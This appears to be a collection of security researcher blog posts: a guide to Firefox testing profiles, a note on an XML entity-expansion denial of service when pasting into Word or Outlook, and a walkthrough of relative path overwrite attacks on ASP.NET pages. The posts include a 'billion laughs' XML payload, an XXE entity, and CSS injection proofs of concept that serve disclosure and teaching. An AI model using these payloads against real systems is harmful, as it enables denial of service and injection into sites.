Using Firefox Profiles in Security Testing

I have started using browser profiles for normal web application assessment since working at NCC Group due to the number of projects I had since the 1st week! I thought it is a good idea to share my solution as I have seen other people facing the same issue when dealing with multiple web application testing projects.

Why should we use a new browser profile for testing?

There are a number of reasons to use separate browser profiles per web application assessments. I have listed some of these reasons from my point of view:

A clean browser environment can be useful to keep the history/data especially when re-testing the same target.

Browser that is used for testing is normally unsafe for day to day browsing. For instance, client-side protections such as XSS auditors or NoScript add-on in Firefox should be disabled while testing in order to detect client-side issues properly. Proxies’ or other self-signed root certificates could be imported in the browser during the test.

It is sometimes necessary to use the private browsing option within the same browser with all the add-ons in order to test session management or broken access control issues (or perhaps to test an issue very quickly using another session but with the same user-agent). It should be noted that private browsing/incognito is not recommended for the actual testing as cache control, sensitive data in URL, or autocomplete issues might be missed and there will be no web history in the browser (especially useful for those times that the proxy is off for some reason).

Why should we automate this?

Having a fresh browser per each test with predefined settings and pre-installed add-ons/extensions can be time consuming if not automated.

I use Mozilla Firefox to make everything easier if the target website is not browser specific or if different user-agents in Firefox do not break the website functionality.

An easy way to do this using Firefox

Step 1: Creating a new empty profile (template)

A Firefox shortcut can be created or edited with the “-p” argument to show the “Choose User Profile” panel. Alternatively, the “-profilemanager” argument can be used to open this panel:

After clicking the “Create Profile” button, choose an appropriate profile name such as “Clean For Security Testing” to create a new profile (you can save it in a preferred location). This profile will be added to the list:

Now click the “Start Firefox” button to customise it.

Step 2: Preparing the template – Firefox settings

As Firefox hides the top menu automatically, we need to use the “Alt” key to access it. It is therefore my preferred choice to make it permanently visible by selecting “Menu Bar” from Views>Toolbars after pressing the “Alt” key. Throughout this post, I have used the top menu to point at items’ locations but the “Open Menu” button in Firefox can be used as well.

In order to reduce the number of requests Firefox sends automatically during testing and to improve the privacy, I normally do this:

– Untick all the boxes in Tools>Options>Advanced>Data Choices

– Untick all the boxes in Tools>Options>Advanced>Update and select “Never check for updates” – It is important to note that check for updates for both Firefox and its add-ons must be performed manually when using profiles.

– From “about:config”, set the value of “browser.newtabpage.enabled” and “network.captive-portal-service.enabled” to “false”.

– From “about:config”, set an empty string for “browser.selfsupport.url”

Other automated requests can be disabled using the Mozilla guideline ifnecessary:

Step 3: Preparing the template – Proxy root certificates

Proxies’ root certificates should also be imported into the browser’s root certificate at this point to make it easier every time we use a new profile.

Step 4: Preparing the template – Installing required extensions / plugins / themes

Add-ons that are installed at this stage are not compulsory and it is up to you to install your favourites. However, the “FEBE” add-on should be installed to automate the process of creating new profiles based on the template:

CLEO extension can also be useful to back up all the extensions in a single file when needed!

My favourite generic extensions for testing are as follows:

ColorfulTabs: this helps me to instantly realise when the testing domain changes – so I can detect out-scoped or different domains using the tab colours! I have chosen “Generate Colors By Domain Hostname” in the extension configuration. I have also set the “Tab Border Radius” to 1 to fix the UI issue it may cause.

Firebug: I still like this extension although Firefox has implemented some of it internally now!

Form History Control: useful to create a quick screenshot for the report when reporting autocomplete issues!

FoxyProxy: very useful to manage different proxies. For instance, I have a few ports configured in it for different purposes and different proxies. If you configure it in your template profile, it will be backed up into your testing profiles as well.

HackBar: limited but quite handy extension to send quick GET/POST requests or to decode/encode something. I use its other features too and sometimes even use it like a notepad!!! As I do not like its panel to be always visible on top, I have added its icon (“Toggle HackBar”) to the address bar menu.

ProfileSwitcher: to switch between profiles quickly when needed!

Random Agent Spoofer: to change the user agent when needed very quickly.

Regular Expressions Tester: to test a Regular Expression when I have no better tools.

Web Developer: An old habit just like Firebug. Makes it easier to manipulate items in a HTML page. I used to use it to see the HTML/JS errors (to detect a lame XSS perhaps!) but it seems Firefox is doing a good job on that itself too.

Perhaps an awesome dark Firefox theme for the security template profile also helps. Something that is appropriate for the report screenshots of course! It may also help you to know when a security profile is in use so you will not use it for normal browsing.

The template is now ready. Do not use it for testing before restoring it into a new separate profile though!

Step 5: FEBE Options

Using Tools>FEBE, select “FEBE Options” and ensure that “Full profile” has been chosen. Then on the “Where to backup” menu in “FEBE Options”, select the backup files location and press the Ok button.

Step 6: Updates

You can ignore this step if you have already updated Firefox and its add-ons.

Ensure that Firefox is updated by going to Help>About Firefox from the top menu. Then from the top menu, go to Tools>Add-ons, select “Extensions” from the left menu and click on the settings button and choose “Check for Updates”. Restart the browser if it is required after the update.

Step 7: Clean up

It is time to clean the history before backing up the template to have a fresh start every time! You can ignore this step if there is nothing in the browser history.

From History>Clear Recent History select “Everything” and tick all the boxes and press “Clear Now”. From Tools>Advanced>Network, clear any remaining cached web contents.

Step 8: Backing up the template

Using Tools>FEBE, select the “Perform backup now” option.  Run it again if it was not successful the first time!

Step 9: Creating new profiles based on the template

When you are using the “Clean For Security Testing” profile, using Tools>FEBE, select the “Restore Profile” option:

First click on the “Create new profile” button and enter a name such as “BugBounty_Facebook”. Close any FEBE messages to make the process smoother.

Now, click on the “Select local backup to restore” button and choose the template profile:

After this stage, click on “Start profile restore” (twice if it did not work).

Step 10: Using the new profile

Now close Firefox and all its messages and open it again. The new profile should appear in the list:

Select it and start Firefox.

Creating another profile

Follow steps 6 to 10 whenever you need to create a new profile for testing now.

Quick start sample

I have created a backup file using my Firefox that you can download from here ({Clean For Security Testing}.zip).

You need to have the FEBE extension installed to use this and to restore the “Clean For Security Testing” profile. Follow steps 6 to 10 after restoring this profile.

Common Security Issues in Financially-Oriented Web Applications

A guideline for penetration testers to assess eCommerce and financial services applications.

This document summarises NCC Group’s experience of assessing eCommerce and financial services applications, providing a checklist of common security issues seen in financial services web applications.

This paper has been published via the NCC Group website:

The PDF version of this paper is also available here:

Interesting XML Processing in Copy/Paste in Word and Outlook

This issue was not considered to be a security issue based on “Definition of a Security Vulnerability” in as I have been told by Microsoft MSRC team. I thought it can be interesting to some people, so I am sharing the details here.
It seems Microsoft Word and Outlook applications (tested on Office 2010) analyse the DTD section of an XML message upon pasting it in a document or a new email.
This can lead to a denial of service attack by creating an XML message with a large number of nested entities.
The victim should paste the crafted XML message into a Word or Outlook document in order for this issue to be exploited. This can potentially be done by using websites that put arbitrary data in the clipboard upon clicking a button or pressing the CTRL+C combination.

As an example, the following XML message (reference: can be copied and pasted into a Word or Outlook document in order to cause denial of service (paste this into a notepad file first to remove the WordPress style, then copy/paste it again into a new Outlook email or a Word document):

<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

Files within the PATH environment variable could also be targeted by using the DTD section as it is shown below:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "win.ini">

The following image shows that MS Word has sent some requests to the file-system to find this file.

It was not possible to use this vulnerability to send requests externally or use arbitrary files on the file system which are outside of the PATH (in environment variables). Therefore, I could not exploit it to hijack files as I could not use the “/”, “\”, or “:” characters.

Non-Root-Relative Path Overwrite (RPO) in IIS and .Net applications


In this blog post, I will show you a better way to exploit non-root-relative path overwrite issues in ASP.NET Web Form applications. This is a low risk vulnerability that can be used to inject a resource such as a stylesheet or even a dynamic JavaScript into an affected web page.


Many of us already know for a long time about path-info and the ability of several web application technologies such as .Net, php, or java that can accept parameters after the file extension by using a slash (“/”) or a semi-colon (“;”) character. This is a useful feature to create customised restful applications. In case of Java, it can normally accept a session token after a semi-colon character in the URL (when jsessionid is not in the cookies – bad practice).

Web pages which include their URLs in their output without encoding it properly (assuming it is safe) or with improper encoding can become vulnerable to cross-site scripting issues (e.g. However, this is not the topic of this blog post as it has nothing to do with the relative paths!

Many of us know about the functional issues that relative paths could cause a web application especially when URL-rewrite rules or restful URLs are in use. For instance, we could see broken pages with messed-up images and stylesheets from time to time by adding or changing parameters in the URL.  However, I did not have any idea how to exploit this issue in any ways until Gareth Heyes shed light on it and published the following useful blog post:

After that I mistakenly thought this attack would only be useful in the old versions of IE until James Kettle published the following useful post in the PortSwigger’s blog:

It is highly recommended to read this blog post if you have not read it yet. Especially the “Exploiting Quirks” section caught my eye! Who knows? It may catch yours too ;-)

RPO and ASP.NET Applications

The usage of non-root-relative paths is common among the ASP.NET Web Form applications and I am going to focus on this type of application in this blog post.

In order to add a stylesheet and a JavaScript file with non-root-relative paths, the following code can be added to an ASP.NET page (.aspx or its Master page):

<head runat="server">
	<link href="~/style.css" rel="stylesheet" type="text/css" />
	<script type="text/javascript" src="<%=Page.ResolveClientUrl("~/js.js")%>"></script>

You can use the following vulnerable “.aspx” page (VB.NET) in your test environment:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!-- Author: Soroush Dalili (@irsdl) - -->
<head runat="server">
	<link href="~/style.css" rel="stylesheet" type="text/css" />
	<script type="text/javascript" src="<%=Page.ResolveClientUrl("~/js.js")%>"></script>
Dim input: input = Request("input")
if input <> "" then session("input") = input
	<form runat="server">
		<div class="page" id="page">Just an example. Your input goes here: "<%=Server.HtmlEncode(session("input"))%>"</div>
        <div class="DotNetVersion">.Net Framework version: "<%=Environment.Version%>"</div>
		var pageColor = '';
		var pageObj = document.getElementById('page');
		var textColor;

		if (pageObj.currentStyle){
		  textColor = pageObj.currentStyle.color;
		}else if (window.getComputedStyle){
		  textColor = document.defaultView.getComputedStyle(pageObj, null).getPropertyValue("color");

		if(textColor=="red" || textColor=="rgb(255, 0, 0)"){
		  pageColor = 'red';

This page uses an old doctype which can simply be exploited in an RPO attack. As explained in the PortSwigger’s blog post, a list of doctypes that can open a website in Quirks mode can be found in the following website: and sometimes it is even possible to force a web page to be opened in Quirks mode by using IE (see PortSwigger’s blog post for the requirements).

This ASPX page has been saved in the following URL (.Net Framework 2):

As this page HTML-encode the “input” parameter, it is not possible to exploit a cross-site scripting issue. Sometimes in real ASP.NET applications, the protection can be because of the Request Validation module.

The above ASP.NET page shows the following HTML code in the browser:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!-- Author: Soroush Dalili (@irsdl) - -->
<head><link href="../../style.css" rel="stylesheet" type="text/css" />
	<script type="text/javascript" src="../../js.js"></script>


	<form name="ctl01" method="post" action="test.aspx?input=test" id="ctl01">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ3MDQ5NDcxMmRkL+8De/6ibnWrmbVRn1YZfKdyQoI=" />


	<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="EBB86DB2" />
		<div class="page" id="page">Just an example. Your input goes here: "test"</div>
        <div class="DotNetVersion">.Net Framework version: "2.0.50727.4253"</div>
		var pageColor = '';
		var pageObj = document.getElementById('page');
		var textColor;

		if (pageObj.currentStyle){
		  textColor = pageObj.currentStyle.color;
		}else if (window.getComputedStyle){
		  textColor = document.defaultView.getComputedStyle(pageObj, null).getPropertyValue("color");

		if(textColor=="red" || textColor=="rgb(255, 0, 0)"){
		  pageColor = 'red';

.NET resolves the “~” operator to the root of the current application (in IIS). Therefore, you may see a “../” pattern when the page is located in a subdirectory.

Note: If a web page is in a directory but does not contain a “../” pattern in a non-root-relative path (does not start with a protocol or a “/” character), the directory name shows the application name that is installed on IIS (this is in fact root of that web application).

.Net Framework 4 resolves the “~” operator a little bit different from .Net Framework 2 and here is when the confusion arises!

In our example page, .Net Framework 4 adds more “../” to the “style.css” path when we have additional folders after the “.aspx” extension. In other words, by opening the “/test.aspx/1111/2222/3333” page in .Net Framework 4 the “style.css” path has 3 additional “../” as it shown below:

<link href="../../../../../style.css" rel="stylesheet" type="text/css" />

Unfortunately I do not have a web server with .Net Framework 4 but we can use our local IIS server to reproduce the issue.

This behaviour of .Net Framework 4 neutralises normal RPO attacks as the page cannot load itself as a stylesheet anymore. However, vulnerable pages in .Net Framework 2 can be exploited with the same exploitation method that was described in Gareth Heyes’ or PortSwigger’s blog posts:}}}}]]]]]*/ {} *{color:red;}


Note: “%0A”, “%0C”, or “%0D” should be used to escape the double or single quotation characters. In addition, the attack will not work if there is any open “{“ or “[“ characters as well as “/*”. Therefore, the “%0C}}}}]]]]]*/” string was used before the CSS injection vector to ensure that the rest of string can be loaded as a valid style to make the page red. The “import” method could also be used as another vector of CSS injection.

Note: This PoC code will not work if .Net Framework 4 is used as it was explained above.

A Generic Solution for ASP.NET Pages:

.Net Framework 4 does not add additional “../” to the path when the directory names after the “.aspx” extension are empty! As a result, the following easy solution could be used in .Net Framework 2 and 4 at the same time:}}}}]]]]]*/ {} *{color:red;}


Overwrite by Using Another File:

RPO in a web server such as IIS which understands an encoded directory traversal pattern in the path “%2F.. %2F” can also be exploited to point to the other files (that supports path-info) on the same website.

The following shows an example in which “anotherpage.css.aspx” is used to replace the stylesheet:



This can also cause a cross-site scripting issue if an attacker can use another dynamic file (such as a JSON handler file) to rewrite the path of a non-root relative JavaScript file as it is shown below:



In IIS, “%2F” (URL-encoded version of “/”) can also be replaced with a “%5C” (URL-encoded version of “\”).

Note: This method is similar to the one I had used before to exploit location.pathname in JavaScript (

Note: In case of having an application on IIS in the path, this method can only be exploited within this application path (not from root of the website). The following shows an example:


Note: Using another dynamic page may help an attacker to inject other resources such as even JavaScript files in special cases.

.NET Framework 4 Form’s Action:

This feature of .NET Framework 4 was known to me for a long time but I could never exploit it in any useful way. However, some people may find this inspirational to find some security issues and please don’t forget to update me on that as I am really interested!

Anything after the last forward-slash or backslash (“/” or “\”) characters before the QueryString part of the URL is used as the form’s action without URL-encoding (double and single quotation characters have HTML-encoding). For instance, opening the “example.aspx/1.aspx/2.aspx?test=test” will create the following HTML form in the page:

<form method="post" action="2.aspx" id="ctl01">

I could not use this to exploit RPO as the control characters (such as “%0A”, “%0C”, or “%0D”) will be blocked by default IIS settings and characters like “< > * % & : \ ?” and double escaping are blocked by the default ASP.NET settings (requestPathInvalidCharacters). Exploiting CSS injection by using “import” is more feasible in this case but there is limitation on the usage of forward slash or backslash characters (you will see it when you start exploiting it yourself).

Most of the ASP.NET pages also do not use the “action” attribute of .Net forms, otherwise we could probably exploit this by chaining it to an open redirect or a reflected cross-site scripting issue (to bypass browsers’ anti-XSS protections).


In the end, I should not forget to thank Dean McCarten (@2bitwannabe) who provided me with an example from Visual Studio 2013 which used relative paths in a stylesheet. This .Net sample code and a recent penetration testing project encouraged me to write this blog post.